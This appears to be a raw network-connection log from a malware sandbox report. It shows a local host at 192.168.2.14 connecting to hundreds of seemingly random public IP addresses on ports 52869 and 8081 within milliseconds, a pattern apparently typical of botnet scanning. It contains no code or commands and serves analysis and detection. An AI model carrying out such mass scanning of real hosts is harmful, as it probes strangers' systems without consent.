Jul 20, 2024 23:01:02.690349102 CEST	49909	52869	192.168.2.14	59.167.246.52
Jul 20, 2024 23:01:02.690349102 CEST	49909	52869	192.168.2.14	177.121.105.117
Jul 20, 2024 23:01:02.690349102 CEST	49909	52869	192.168.2.14	216.179.121.229
Jul 20, 2024 23:01:02.690349102 CEST	49909	52869	192.168.2.14	60.76.250.92
Jul 20, 2024 23:01:02.690349102 CEST	49909	52869	192.168.2.14	113.52.163.211
Jul 20, 2024 23:01:02.690349102 CEST	49909	52869	192.168.2.14	123.197.240.146
Jul 20, 2024 23:01:02.690349102 CEST	49909	52869	192.168.2.14	180.66.153.251
Jul 20, 2024 23:01:02.690349102 CEST	49909	52869	192.168.2.14	54.135.188.207
Jul 20, 2024 23:01:02.690464973 CEST	49909	52869	192.168.2.14	18.215.157.231
Jul 20, 2024 23:01:02.690464973 CEST	49909	52869	192.168.2.14	53.160.138.169
Jul 20, 2024 23:01:02.690464973 CEST	49909	52869	192.168.2.14	205.76.68.56
Jul 20, 2024 23:01:02.690464973 CEST	49909	52869	192.168.2.14	66.20.51.166
Jul 20, 2024 23:01:02.690464973 CEST	49909	52869	192.168.2.14	157.58.255.172
Jul 20, 2024 23:01:02.690464973 CEST	49909	52869	192.168.2.14	148.15.213.129
Jul 20, 2024 23:01:02.690464973 CEST	49909	52869	192.168.2.14	49.190.155.141
Jul 20, 2024 23:01:02.690464973 CEST	49909	52869	192.168.2.14	97.156.12.29
Jul 20, 2024 23:01:02.690584898 CEST	49909	52869	192.168.2.14	149.21.122.230
Jul 20, 2024 23:01:02.690584898 CEST	49909	52869	192.168.2.14	27.32.89.210
Jul 20, 2024 23:01:02.690584898 CEST	49909	52869	192.168.2.14	102.40.46.84
Jul 20, 2024 23:01:02.690586090 CEST	49909	52869	192.168.2.14	46.193.125.76
Jul 20, 2024 23:01:02.690586090 CEST	49909	52869	192.168.2.14	18.138.101.67
Jul 20, 2024 23:01:02.690586090 CEST	49909	52869	192.168.2.14	78.189.54.60
Jul 20, 2024 23:01:02.690586090 CEST	49909	52869	192.168.2.14	97.161.181.152
Jul 20, 2024 23:01:02.690586090 CEST	49909	52869	192.168.2.14	159.49.111.252
Jul 20, 2024 23:01:02.690711975 CEST	49909	52869	192.168.2.14	35.44.176.40
Jul 20, 2024 23:01:02.690711975 CEST	49909	52869	192.168.2.14	24.89.196.43
Jul 20, 2024 23:01:02.690711975 CEST	49909	52869	192.168.2.14	17.229.242.183
Jul 20, 2024 23:01:02.690711975 CEST	49909	52869	192.168.2.14	126.133.182.41
Jul 20, 2024 23:01:02.690711975 CEST	49909	52869	192.168.2.14	189.125.188.251
Jul 20, 2024 23:01:02.690711975 CEST	49909	52869	192.168.2.14	186.10.172.162
Jul 20, 2024 23:01:02.690711975 CEST	49909	52869	192.168.2.14	73.229.219.41
Jul 20, 2024 23:01:02.690711975 CEST	49909	52869	192.168.2.14	77.18.17.34
Jul 20, 2024 23:01:02.690846920 CEST	49909	52869	192.168.2.14	112.116.136.37
Jul 20, 2024 23:01:02.690846920 CEST	49909	52869	192.168.2.14	148.45.171.80
Jul 20, 2024 23:01:02.690846920 CEST	49909	52869	192.168.2.14	105.91.103.206
Jul 20, 2024 23:01:02.690846920 CEST	49909	52869	192.168.2.14	110.80.5.78
Jul 20, 2024 23:01:02.690846920 CEST	49909	52869	192.168.2.14	31.13.234.219
Jul 20, 2024 23:01:02.690846920 CEST	49909	52869	192.168.2.14	51.24.127.197
Jul 20, 2024 23:01:02.690846920 CEST	49909	52869	192.168.2.14	104.147.118.23
Jul 20, 2024 23:01:02.690846920 CEST	49909	52869	192.168.2.14	199.67.237.249
Jul 20, 2024 23:01:02.690998077 CEST	49909	52869	192.168.2.14	169.135.127.5
Jul 20, 2024 23:01:02.690998077 CEST	49909	52869	192.168.2.14	123.7.198.136
Jul 20, 2024 23:01:02.690998077 CEST	49909	52869	192.168.2.14	98.130.24.225
Jul 20, 2024 23:01:02.690998077 CEST	49909	52869	192.168.2.14	75.143.247.129
Jul 20, 2024 23:01:02.690998077 CEST	49909	52869	192.168.2.14	27.180.241.109
Jul 20, 2024 23:01:02.690998077 CEST	49909	52869	192.168.2.14	137.243.189.193
Jul 20, 2024 23:01:02.690998077 CEST	49909	52869	192.168.2.14	20.150.177.181
Jul 20, 2024 23:01:02.690998077 CEST	49909	52869	192.168.2.14	201.176.11.236
Jul 20, 2024 23:01:02.691142082 CEST	49909	52869	192.168.2.14	140.117.41.189
Jul 20, 2024 23:01:02.691142082 CEST	49909	52869	192.168.2.14	97.6.170.0
Jul 20, 2024 23:01:02.691142082 CEST	49909	52869	192.168.2.14	219.120.162.173
Jul 20, 2024 23:01:02.691142082 CEST	49909	52869	192.168.2.14	107.11.47.153
Jul 20, 2024 23:01:02.691142082 CEST	49909	52869	192.168.2.14	128.230.164.231
Jul 20, 2024 23:01:02.691142082 CEST	49909	52869	192.168.2.14	13.70.156.137
Jul 20, 2024 23:01:02.691142082 CEST	49909	52869	192.168.2.14	38.110.6.53
Jul 20, 2024 23:01:02.691518068 CEST	35034	8081	192.168.2.14	41.165.86.52
Jul 20, 2024 23:01:02.691734076 CEST	50165	8081	192.168.2.14	68.159.108.135
Jul 20, 2024 23:01:02.691734076 CEST	50165	8081	192.168.2.14	136.69.115.240
Jul 20, 2024 23:01:02.691734076 CEST	50165	8081	192.168.2.14	167.79.36.65
Jul 20, 2024 23:01:02.691734076 CEST	50165	8081	192.168.2.14	130.91.56.25
Jul 20, 2024 23:01:02.691734076 CEST	50165	8081	192.168.2.14	27.92.181.202
Jul 20, 2024 23:01:02.691734076 CEST	50165	8081	192.168.2.14	197.236.120.161
Jul 20, 2024 23:01:02.691734076 CEST	50165	8081	192.168.2.14	219.81.6.190
Jul 20, 2024 23:01:02.691734076 CEST	50165	8081	192.168.2.14	125.6.23.33
Jul 20, 2024 23:01:02.691963911 CEST	50165	8081	192.168.2.14	122.76.239.71
Jul 20, 2024 23:01:02.691963911 CEST	50165	8081	192.168.2.14	178.230.72.156
Jul 20, 2024 23:01:02.691963911 CEST	50165	8081	192.168.2.14	1.145.83.202
Jul 20, 2024 23:01:02.691963911 CEST	50165	8081	192.168.2.14	31.201.212.193
Jul 20, 2024 23:01:02.691963911 CEST	50165	8081	192.168.2.14	184.13.240.134
Jul 20, 2024 23:01:02.691963911 CEST	50165	8081	192.168.2.14	91.103.229.29
Jul 20, 2024 23:01:02.691963911 CEST	50165	8081	192.168.2.14	91.180.202.227
Jul 20, 2024 23:01:02.691963911 CEST	50165	8081	192.168.2.14	43.81.248.78
Jul 20, 2024 23:01:02.692213058 CEST	50165	8081	192.168.2.14	167.173.110.218
Jul 20, 2024 23:01:02.692213058 CEST	50165	8081	192.168.2.14	207.19.189.91
Jul 20, 2024 23:01:02.692213058 CEST	50165	8081	192.168.2.14	184.7.227.14
Jul 20, 2024 23:01:02.692214012 CEST	49909	52869	192.168.2.14	147.70.92.77
Jul 20, 2024 23:01:02.692214012 CEST	49909	52869	192.168.2.14	98.234.203.104
Jul 20, 2024 23:01:02.692214012 CEST	49909	52869	192.168.2.14	135.159.233.191
Jul 20, 2024 23:01:02.692214012 CEST	49909	52869	192.168.2.14	9.185.243.106
Jul 20, 2024 23:01:02.692508936 CEST	49909	52869	192.168.2.14	58.189.108.72
Jul 20, 2024 23:01:02.692508936 CEST	49909	52869	192.168.2.14	154.241.87.3
Jul 20, 2024 23:01:02.692508936 CEST	49909	52869	192.168.2.14	139.203.187.182
Jul 20, 2024 23:01:02.692508936 CEST	49909	52869	192.168.2.14	199.197.22.193
Jul 20, 2024 23:01:02.692508936 CEST	49909	52869	192.168.2.14	117.161.65.55
Jul 20, 2024 23:01:02.692508936 CEST	49909	52869	192.168.2.14	208.207.173.215
Jul 20, 2024 23:01:02.692508936 CEST	49909	52869	192.168.2.14	208.27.204.3
Jul 20, 2024 23:01:02.692668915 CEST	8081	50165	84.2.229.221	192.168.2.14
Jul 20, 2024 23:01:02.692672968 CEST	8081	50165	98.201.11.93	192.168.2.14
Jul 20, 2024 23:01:02.692682028 CEST	8081	50165	71.245.74.241	192.168.2.14
Jul 20, 2024 23:01:02.692770004 CEST	49909	52869	192.168.2.14	137.160.69.102
Jul 20, 2024 23:01:02.692770004 CEST	49909	52869	192.168.2.14	94.73.230.238
Jul 20, 2024 23:01:02.692770004 CEST	49909	52869	192.168.2.14	27.36.78.47
Jul 20, 2024 23:01:02.692770958 CEST	49909	52869	192.168.2.14	45.163.172.72
Jul 20, 2024 23:01:02.692770958 CEST	49909	52869	192.168.2.14	9.160.125.91
Jul 20, 2024 23:01:02.692770958 CEST	49909	52869	192.168.2.14	41.36.48.240
Jul 20, 2024 23:01:02.692770958 CEST	49909	52869	192.168.2.14	190.184.231.156
Jul 20, 2024 23:01:02.692770958 CEST	49909	52869	192.168.2.14	152.175.60.138
Jul 20, 2024 23:01:02.692925930 CEST	8081	50165	146.191.41.45	192.168.2.14
Jul 20, 2024 23:01:02.692930937 CEST	8081	50165	122.59.159.28	192.168.2.14
Jul 20, 2024 23:01:02.692939997 CEST	8081	50165	194.244.225.218	192.168.2.14
Jul 20, 2024 23:01:02.692944050 CEST	8081	50165	42.91.131.109	192.168.2.14
Jul 20, 2024 23:01:02.692951918 CEST	8081	50165	168.26.203.243	192.168.2.14
Jul 20, 2024 23:01:02.692955971 CEST	8081	50165	17.179.34.94	192.168.2.14
Jul 20, 2024 23:01:02.692964077 CEST	8081	50165	93.220.42.205	192.168.2.14
Jul 20, 2024 23:01:02.692967892 CEST	8081	50165	199.27.126.177	192.168.2.14
Jul 20, 2024 23:01:02.692970991 CEST	8081	50165	128.98.75.83	192.168.2.14
Jul 20, 2024 23:01:02.692975044 CEST	8081	50165	131.30.62.30	192.168.2.14
Jul 20, 2024 23:01:02.692979097 CEST	8081	50165	32.51.133.108	192.168.2.14
Jul 20, 2024 23:01:02.692981958 CEST	8081	50165	49.3.242.248	192.168.2.14
Jul 20, 2024 23:01:02.692986012 CEST	8081	50165	218.132.101.171	192.168.2.14
Jul 20, 2024 23:01:02.692994118 CEST	8081	50165	172.91.30.42	192.168.2.14
Jul 20, 2024 23:01:02.692997932 CEST	8081	50165	156.18.108.26	192.168.2.14
Jul 20, 2024 23:01:02.693001032 CEST	8081	50165	36.69.31.43	192.168.2.14
Jul 20, 2024 23:01:02.693003893 CEST	8081	50165	45.220.53.245	192.168.2.14
Jul 20, 2024 23:01:02.693161011 CEST	49909	52869	192.168.2.14	79.148.159.224
Jul 20, 2024 23:01:02.693161011 CEST	49909	52869	192.168.2.14	161.197.234.242
Jul 20, 2024 23:01:02.693161011 CEST	49909	52869	192.168.2.14	38.51.104.119
Jul 20, 2024 23:01:02.693161011 CEST	49909	52869	192.168.2.14	39.69.243.182
Jul 20, 2024 23:01:02.693161011 CEST	49909	52869	192.168.2.14	99.142.147.62
Jul 20, 2024 23:01:02.693161011 CEST	49909	52869	192.168.2.14	102.0.106.231
Jul 20, 2024 23:01:02.693161011 CEST	49909	52869	192.168.2.14	110.76.178.183
Jul 20, 2024 23:01:02.693161011 CEST	49909	52869	192.168.2.14	193.92.170.16
Jul 20, 2024 23:01:02.693259001 CEST	49909	52869	192.168.2.14	146.125.193.198
Jul 20, 2024 23:01:02.693259001 CEST	49909	52869	192.168.2.14	196.14.224.246
Jul 20, 2024 23:01:02.693259001 CEST	49909	52869	192.168.2.14	141.16.59.199
Jul 20, 2024 23:01:02.693259001 CEST	49909	52869	192.168.2.14	36.240.161.230
Jul 20, 2024 23:01:02.693259001 CEST	49909	52869	192.168.2.14	144.97.6.3
Jul 20, 2024 23:01:02.693259001 CEST	49909	52869	192.168.2.14	159.229.70.228
Jul 20, 2024 23:01:02.693259001 CEST	49909	52869	192.168.2.14	120.161.27.194
Jul 20, 2024 23:01:02.693259001 CEST	49909	52869	192.168.2.14	200.100.75.233
Jul 20, 2024 23:01:02.693588018 CEST	49909	52869	192.168.2.14	122.186.34.185
Jul 20, 2024 23:01:02.693588018 CEST	49909	52869	192.168.2.14	121.211.111.241
Jul 20, 2024 23:01:02.693588018 CEST	49909	52869	192.168.2.14	18.83.142.79
Jul 20, 2024 23:01:02.693588018 CEST	49909	52869	192.168.2.14	221.108.123.18
Jul 20, 2024 23:01:02.693588018 CEST	49909	52869	192.168.2.14	197.185.228.174
Jul 20, 2024 23:01:02.693588018 CEST	49909	52869	192.168.2.14	37.234.26.143
Jul 20, 2024 23:01:02.693588018 CEST	49909	52869	192.168.2.14	4.120.14.72
Jul 20, 2024 23:01:02.693588018 CEST	49909	52869	192.168.2.14	220.75.209.185
Jul 20, 2024 23:01:02.693679094 CEST	8081	50165	142.162.197.169	192.168.2.14
Jul 20, 2024 23:01:02.693747997 CEST	49909	52869	192.168.2.14	118.85.135.176
Jul 20, 2024 23:01:02.693748951 CEST	49909	52869	192.168.2.14	133.189.249.85
Jul 20, 2024 23:01:02.693748951 CEST	49909	52869	192.168.2.14	223.101.21.113
Jul 20, 2024 23:01:02.693748951 CEST	49909	52869	192.168.2.14	206.56.168.85
Jul 20, 2024 23:01:02.693748951 CEST	49909	52869	192.168.2.14	24.222.226.177
Jul 20, 2024 23:01:02.693748951 CEST	49909	52869	192.168.2.14	131.9.83.37
Jul 20, 2024 23:01:02.693748951 CEST	49909	52869	192.168.2.14	185.10.160.212
Jul 20, 2024 23:01:02.693748951 CEST	49909	52869	192.168.2.14	125.247.227.200
Jul 20, 2024 23:01:02.693927050 CEST	8081	50165	77.22.161.206	192.168.2.14
Jul 20, 2024 23:01:02.693931103 CEST	8081	50165	79.96.115.193	192.168.2.14
Jul 20, 2024 23:01:02.694092989 CEST	49909	52869	192.168.2.14	182.7.166.103
Jul 20, 2024 23:01:02.694092989 CEST	49909	52869	192.168.2.14	175.232.16.61
Jul 20, 2024 23:01:02.694092989 CEST	49909	52869	192.168.2.14	161.175.131.191
Jul 20, 2024 23:01:02.694092989 CEST	49909	52869	192.168.2.14	8.255.176.78
Jul 20, 2024 23:01:02.694092989 CEST	49909	52869	192.168.2.14	157.228.119.82
Jul 20, 2024 23:01:02.694092989 CEST	49909	52869	192.168.2.14	40.196.54.57
Jul 20, 2024 23:01:02.694092989 CEST	49909	52869	192.168.2.14	199.72.205.209
Jul 20, 2024 23:01:02.694092989 CEST	49909	52869	192.168.2.14	67.197.228.176
Jul 20, 2024 23:01:02.694263935 CEST	49909	52869	192.168.2.14	182.3.184.231
Jul 20, 2024 23:01:02.694263935 CEST	49909	52869	192.168.2.14	174.108.35.148
Jul 20, 2024 23:01:02.694263935 CEST	49909	52869	192.168.2.14	117.135.146.205
Jul 20, 2024 23:01:02.694263935 CEST	49909	52869	192.168.2.14	157.95.73.176
Jul 20, 2024 23:01:02.694263935 CEST	49909	52869	192.168.2.14	197.115.141.145
Jul 20, 2024 23:01:02.694263935 CEST	49909	52869	192.168.2.14	59.15.135.179
Jul 20, 2024 23:01:02.694263935 CEST	49909	52869	192.168.2.14	20.76.127.36
Jul 20, 2024 23:01:02.694263935 CEST	49909	52869	192.168.2.14	109.39.218.192
Jul 20, 2024 23:01:02.694624901 CEST	49909	52869	192.168.2.14	67.245.50.1
Jul 20, 2024 23:01:02.694624901 CEST	49909	52869	192.168.2.14	88.202.255.245
Jul 20, 2024 23:01:02.694624901 CEST	49909	52869	192.168.2.14	69.247.212.34
Jul 20, 2024 23:01:02.694624901 CEST	49909	52869	192.168.2.14	34.166.184.21
Jul 20, 2024 23:01:02.694624901 CEST	49909	52869	192.168.2.14	67.159.114.76
Jul 20, 2024 23:01:02.694624901 CEST	49909	52869	192.168.2.14	5.95.184.13
Jul 20, 2024 23:01:02.694624901 CEST	49909	52869	192.168.2.14	181.156.57.163
Jul 20, 2024 23:01:02.694624901 CEST	49909	52869	192.168.2.14	122.76.170.161
Jul 20, 2024 23:01:02.694804907 CEST	49909	52869	192.168.2.14	133.112.161.176
Jul 20, 2024 23:01:02.694804907 CEST	49909	52869	192.168.2.14	218.140.98.20
Jul 20, 2024 23:01:02.694804907 CEST	49909	52869	192.168.2.14	115.182.49.79
Jul 20, 2024 23:01:02.694806099 CEST	49909	52869	192.168.2.14	32.3.226.200
Jul 20, 2024 23:01:02.694806099 CEST	49909	52869	192.168.2.14	183.98.35.16
Jul 20, 2024 23:01:02.694806099 CEST	49909	52869	192.168.2.14	134.211.30.119
Jul 20, 2024 23:01:02.694806099 CEST	49909	52869	192.168.2.14	62.210.121.58
Jul 20, 2024 23:01:02.694806099 CEST	49909	52869	192.168.2.14	58.188.6.15
Jul 20, 2024 23:01:02.695188046 CEST	49909	52869	192.168.2.14	64.4.31.90
Jul 20, 2024 23:01:02.695188046 CEST	49909	52869	192.168.2.14	60.15.196.16
Jul 20, 2024 23:01:02.695188046 CEST	49909	52869	192.168.2.14	159.103.223.156
Jul 20, 2024 23:01:02.695188046 CEST	49909	52869	192.168.2.14	211.251.189.248
Jul 20, 2024 23:01:02.695188046 CEST	49909	52869	192.168.2.14	63.44.175.189
Jul 20, 2024 23:01:02.695188046 CEST	49909	52869	192.168.2.14	136.64.73.235
Jul 20, 2024 23:01:02.695188046 CEST	49909	52869	192.168.2.14	63.6.64.97
Jul 20, 2024 23:01:02.695188046 CEST	49909	52869	192.168.2.14	140.106.76.203
Jul 20, 2024 23:01:02.695379019 CEST	49909	52869	192.168.2.14	109.101.182.31
Jul 20, 2024 23:01:02.695379019 CEST	49909	52869	192.168.2.14	54.179.168.154
Jul 20, 2024 23:01:02.695379019 CEST	49909	52869	192.168.2.14	163.122.52.62
Jul 20, 2024 23:01:02.695379019 CEST	49909	52869	192.168.2.14	201.56.173.83
Jul 20, 2024 23:01:02.695379019 CEST	49909	52869	192.168.2.14	115.95.175.230
Jul 20, 2024 23:01:02.695379019 CEST	49909	52869	192.168.2.14	61.254.244.36
Jul 20, 2024 23:01:02.695379019 CEST	49909	52869	192.168.2.14	115.232.217.145
Jul 20, 2024 23:01:02.695379019 CEST	49909	52869	192.168.2.14	94.35.245.25
Jul 20, 2024 23:01:02.695776939 CEST	8081	50165	109.213.13.149	192.168.2.14
Jul 20, 2024 23:01:02.695785046 CEST	49909	52869	192.168.2.14	64.184.163.20
Jul 20, 2024 23:01:02.695785046 CEST	49909	52869	192.168.2.14	133.229.80.191
Jul 20, 2024 23:01:02.695785046 CEST	49909	52869	192.168.2.14	69.252.140.208
Jul 20, 2024 23:01:02.695785046 CEST	49909	52869	192.168.2.14	191.247.60.156
Jul 20, 2024 23:01:02.695785046 CEST	49909	52869	192.168.2.14	192.101.34.115
Jul 20, 2024 23:01:02.695785046 CEST	49909	52869	192.168.2.14	162.255.55.54
Jul 20, 2024 23:01:02.695785046 CEST	49909	52869	192.168.2.14	114.46.197.20
Jul 20, 2024 23:01:02.695785046 CEST	49909	52869	192.168.2.14	151.244.219.9
Jul 20, 2024 23:01:02.695789099 CEST	8081	50165	142.39.188.166	192.168.2.14
Jul 20, 2024 23:01:02.695792913 CEST	8081	50165	66.162.115.91	192.168.2.14
Jul 20, 2024 23:01:02.695796967 CEST	8081	50165	193.4.31.63	192.168.2.14
Jul 20, 2024 23:01:02.695801020 CEST	8081	50165	188.183.125.45	192.168.2.14
Jul 20, 2024 23:01:02.695805073 CEST	8081	50165	110.127.96.109	192.168.2.14
Jul 20, 2024 23:01:02.695807934 CEST	8081	50165	125.252.224.34	192.168.2.14
Jul 20, 2024 23:01:02.695811987 CEST	8081	50165	197.206.243.110	192.168.2.14
Jul 20, 2024 23:01:02.695816040 CEST	8081	50165	191.60.94.193	192.168.2.14
Jul 20, 2024 23:01:02.695818901 CEST	8081	50165	130.78.54.39	192.168.2.14
Jul 20, 2024 23:01:02.695822954 CEST	8081	50165	141.45.240.208	192.168.2.14
Jul 20, 2024 23:01:02.695832014 CEST	8081	50165	128.101.253.255	192.168.2.14
Jul 20, 2024 23:01:02.695832014 CEST	50165	8081	192.168.2.14	188.183.125.45
Jul 20, 2024 23:01:02.695835114 CEST	8081	50165	181.205.215.242	192.168.2.14
Jul 20, 2024 23:01:02.695832014 CEST	50165	8081	192.168.2.14	125.252.224.34
Jul 20, 2024 23:01:02.695838928 CEST	8081	50165	129.16.64.102	192.168.2.14
Jul 20, 2024 23:01:02.695842981 CEST	8081	50165	218.90.189.145	192.168.2.14
Jul 20, 2024 23:01:02.695847034 CEST	8081	50165	198.245.106.187	192.168.2.14
Jul 20, 2024 23:01:02.695849895 CEST	8081	50165	173.38.3.235	192.168.2.14
Jul 20, 2024 23:01:02.695853949 CEST	52869	49909	81.93.219.233	192.168.2.14
Jul 20, 2024 23:01:02.695857048 CEST	52869	49909	107.86.167.139	192.168.2.14
Jul 20, 2024 23:01:02.695866108 CEST	52869	49909	165.212.97.95	192.168.2.14
Jul 20, 2024 23:01:02.695869923 CEST	52869	49909	102.239.98.164	192.168.2.14
Jul 20, 2024 23:01:02.696002960 CEST	49909	52869	192.168.2.14	125.58.111.29
Jul 20, 2024 23:01:02.696002960 CEST	49909	52869	192.168.2.14	172.174.77.114
Jul 20, 2024 23:01:02.696002960 CEST	49909	52869	192.168.2.14	117.222.18.77
Jul 20, 2024 23:01:02.696002960 CEST	49909	52869	192.168.2.14	139.88.165.17
Jul 20, 2024 23:01:02.696002960 CEST	49909	52869	192.168.2.14	31.131.161.13
Jul 20, 2024 23:01:02.696003914 CEST	49909	52869	192.168.2.14	155.208.128.84
Jul 20, 2024 23:01:02.696003914 CEST	49909	52869	192.168.2.14	99.176.234.182
Jul 20, 2024 23:01:02.696003914 CEST	49909	52869	192.168.2.14	161.83.111.18
Jul 20, 2024 23:01:02.696044922 CEST	50165	8081	192.168.2.14	110.127.96.109
Jul 20, 2024 23:01:02.696044922 CEST	50165	8081	192.168.2.14	197.206.243.110
Jul 20, 2024 23:01:02.696046114 CEST	50165	8081	192.168.2.14	191.60.94.193
Jul 20, 2024 23:01:02.696046114 CEST	50165	8081	192.168.2.14	141.45.240.208
Jul 20, 2024 23:01:02.696046114 CEST	50165	8081	192.168.2.14	130.78.54.39
Jul 20, 2024 23:01:02.696046114 CEST	50165	8081	192.168.2.14	128.101.253.255
Jul 20, 2024 23:01:02.696046114 CEST	50165	8081	192.168.2.14	181.205.215.242
Jul 20, 2024 23:01:02.696046114 CEST	50165	8081	192.168.2.14	218.90.189.145
Jul 20, 2024 23:01:02.696357012 CEST	52869	49909	186.201.205.157	192.168.2.14
Jul 20, 2024 23:01:02.696362019 CEST	52869	49909	109.70.196.233	192.168.2.14
Jul 20, 2024 23:01:02.696369886 CEST	52869	49909	112.142.51.236	192.168.2.14
Jul 20, 2024 23:01:02.696373940 CEST	52869	49909	139.201.100.61	192.168.2.14
Jul 20, 2024 23:01:02.696377993 CEST	52869	49909	48.252.200.104	192.168.2.14
Jul 20, 2024 23:01:02.696382046 CEST	52869	49909	86.33.181.163	192.168.2.14
Jul 20, 2024 23:01:02.696389914 CEST	52869	49909	174.82.15.85	192.168.2.14
Jul 20, 2024 23:01:02.696393967 CEST	52869	49909	207.146.178.131	192.168.2.14
Jul 20, 2024 23:01:02.696397066 CEST	52869	49909	89.248.51.127	192.168.2.14
Jul 20, 2024 23:01:02.696400881 CEST	52869	49909	88.219.146.230	192.168.2.14
Jul 20, 2024 23:01:02.696404934 CEST	52869	49909	126.27.222.139	192.168.2.14
Jul 20, 2024 23:01:02.696408987 CEST	52869	49909	2.144.155.42	192.168.2.14
Jul 20, 2024 23:01:02.696412086 CEST	52869	49909	58.71.28.94	192.168.2.14
Jul 20, 2024 23:01:02.696417093 CEST	52869	49909	209.43.2.181	192.168.2.14
Jul 20, 2024 23:01:02.696419954 CEST	52869	49909	76.192.206.145	192.168.2.14
Jul 20, 2024 23:01:02.696424007 CEST	52869	49909	118.222.20.40	192.168.2.14
Jul 20, 2024 23:01:02.696428061 CEST	52869	49909	148.4.0.19	192.168.2.14
Jul 20, 2024 23:01:02.696435928 CEST	52869	49909	216.22.142.202	192.168.2.14
Jul 20, 2024 23:01:02.696439981 CEST	52869	49909	160.85.13.217	192.168.2.14
Jul 20, 2024 23:01:02.696449041 CEST	52869	49909	95.160.238.137	192.168.2.14
Jul 20, 2024 23:01:02.696453094 CEST	52869	49909	4.240.53.49	192.168.2.14
Jul 20, 2024 23:01:02.696461916 CEST	52869	49909	98.100.147.39	192.168.2.14
Jul 20, 2024 23:01:02.696468115 CEST	52869	49909	89.163.197.193	192.168.2.14
Jul 20, 2024 23:01:02.696470976 CEST	52869	49909	62.3.26.203	192.168.2.14
Jul 20, 2024 23:01:02.696475029 CEST	52869	49909	27.121.152.99	192.168.2.14
Jul 20, 2024 23:01:02.696479082 CEST	52869	49909	119.17.140.57	192.168.2.14
Jul 20, 2024 23:01:02.696656942 CEST	52869	49909	120.174.208.231	192.168.2.14
Jul 20, 2024 23:01:02.696666002 CEST	52869	49909	174.230.46.108	192.168.2.14
Jul 20, 2024 23:01:02.696669102 CEST	49909	52869	192.168.2.14	97.147.119.179
Jul 20, 2024 23:01:02.696669102 CEST	49909	52869	192.168.2.14	157.215.248.200
Jul 20, 2024 23:01:02.696669102 CEST	49909	52869	192.168.2.14	35.79.125.134
Jul 20, 2024 23:01:02.696669102 CEST	49909	52869	192.168.2.14	182.58.83.131
Jul 20, 2024 23:01:02.696669102 CEST	49909	52869	192.168.2.14	102.240.109.62
Jul 20, 2024 23:01:02.696670055 CEST	52869	49909	223.8.0.161	192.168.2.14
Jul 20, 2024 23:01:02.696669102 CEST	49909	52869	192.168.2.14	125.83.19.96
Jul 20, 2024 23:01:02.696669102 CEST	49909	52869	192.168.2.14	188.50.67.115
Jul 20, 2024 23:01:02.696669102 CEST	49909	52869	192.168.2.14	58.88.3.146
Jul 20, 2024 23:01:02.696677923 CEST	52869	49909	128.194.14.167	192.168.2.14
Jul 20, 2024 23:01:02.696682930 CEST	52869	49909	51.42.109.46	192.168.2.14
Jul 20, 2024 23:01:02.696691036 CEST	52869	49909	220.231.44.5	192.168.2.14
Jul 20, 2024 23:01:02.696695089 CEST	52869	49909	158.50.42.225	192.168.2.14
Jul 20, 2024 23:01:02.696697950 CEST	52869	49909	141.76.73.30	192.168.2.14
Jul 20, 2024 23:01:02.696702003 CEST	52869	49909	40.116.176.118	192.168.2.14
Jul 20, 2024 23:01:02.696711063 CEST	52869	49909	205.134.34.10	192.168.2.14
Jul 20, 2024 23:01:02.696718931 CEST	52869	49909	59.167.246.52	192.168.2.14
Jul 20, 2024 23:01:02.696722984 CEST	52869	49909	177.121.105.117	192.168.2.14
Jul 20, 2024 23:01:02.696731091 CEST	52869	49909	216.179.121.229	192.168.2.14
Jul 20, 2024 23:01:02.696734905 CEST	52869	49909	60.76.250.92	192.168.2.14
Jul 20, 2024 23:01:02.696738958 CEST	52869	49909	113.52.163.211	192.168.2.14
Jul 20, 2024 23:01:02.696738005 CEST	49909	52869	192.168.2.14	81.93.219.233
Jul 20, 2024 23:01:02.696738005 CEST	50165	8081	192.168.2.14	129.16.64.102
Jul 20, 2024 23:01:02.696738005 CEST	50165	8081	192.168.2.14	198.245.106.187
Jul 20, 2024 23:01:02.696738005 CEST	50165	8081	192.168.2.14	173.38.3.235
Jul 20, 2024 23:01:02.696738005 CEST	49909	52869	192.168.2.14	107.86.167.139
Jul 20, 2024 23:01:02.696738958 CEST	49909	52869	192.168.2.14	102.239.98.164
Jul 20, 2024 23:01:02.696738958 CEST	49909	52869	192.168.2.14	165.212.97.95
Jul 20, 2024 23:01:02.696738958 CEST	49909	52869	192.168.2.14	186.201.205.157
Jul 20, 2024 23:01:02.696743011 CEST	52869	49909	123.197.240.146	192.168.2.14
Jul 20, 2024 23:01:02.696747065 CEST	52869	49909	180.66.153.251	192.168.2.14
Jul 20, 2024 23:01:02.696749926 CEST	52869	49909	54.135.188.207	192.168.2.14
Jul 20, 2024 23:01:02.696758032 CEST	52869	49909	18.215.157.231	192.168.2.14
Jul 20, 2024 23:01:02.696762085 CEST	52869	49909	53.160.138.169	192.168.2.14
Jul 20, 2024 23:01:02.696767092 CEST	52869	49909	205.76.68.56	192.168.2.14
Jul 20, 2024 23:01:02.696770906 CEST	52869	49909	66.20.51.166	192.168.2.14
Jul 20, 2024 23:01:02.696774960 CEST	52869	49909	157.58.255.172	192.168.2.14
Jul 20, 2024 23:01:02.696779013 CEST	52869	49909	148.15.213.129	192.168.2.14
Jul 20, 2024 23:01:02.696782112 CEST	52869	49909	49.190.155.141	192.168.2.14
Jul 20, 2024 23:01:02.697082043 CEST	49909	52869	192.168.2.14	203.215.121.186
Jul 20, 2024 23:01:02.697082043 CEST	49909	52869	192.168.2.14	196.189.103.136
Jul 20, 2024 23:01:02.697082043 CEST	49909	52869	192.168.2.14	88.143.222.4
Jul 20, 2024 23:01:02.697082043 CEST	49909	52869	192.168.2.14	63.215.32.142
Jul 20, 2024 23:01:02.697082043 CEST	49909	52869	192.168.2.14	162.202.67.187
Jul 20, 2024 23:01:02.697082043 CEST	49909	52869	192.168.2.14	180.142.154.12
Jul 20, 2024 23:01:02.697082043 CEST	49909	52869	192.168.2.14	74.245.146.50
Jul 20, 2024 23:01:02.697082043 CEST	49909	52869	192.168.2.14	166.12.121.94
Jul 20, 2024 23:01:02.697365046 CEST	49909	52869	192.168.2.14	211.134.19.126
Jul 20, 2024 23:01:02.697365046 CEST	49909	52869	192.168.2.14	210.152.45.49
Jul 20, 2024 23:01:02.697365046 CEST	49909	52869	192.168.2.14	150.84.39.231
Jul 20, 2024 23:01:02.697365046 CEST	49909	52869	192.168.2.14	78.143.187.67
Jul 20, 2024 23:01:02.697365046 CEST	49909	52869	192.168.2.14	20.57.171.76
Jul 20, 2024 23:01:02.697365046 CEST	49909	52869	192.168.2.14	35.88.180.127
Jul 20, 2024 23:01:02.697365046 CEST	49909	52869	192.168.2.14	219.154.176.64
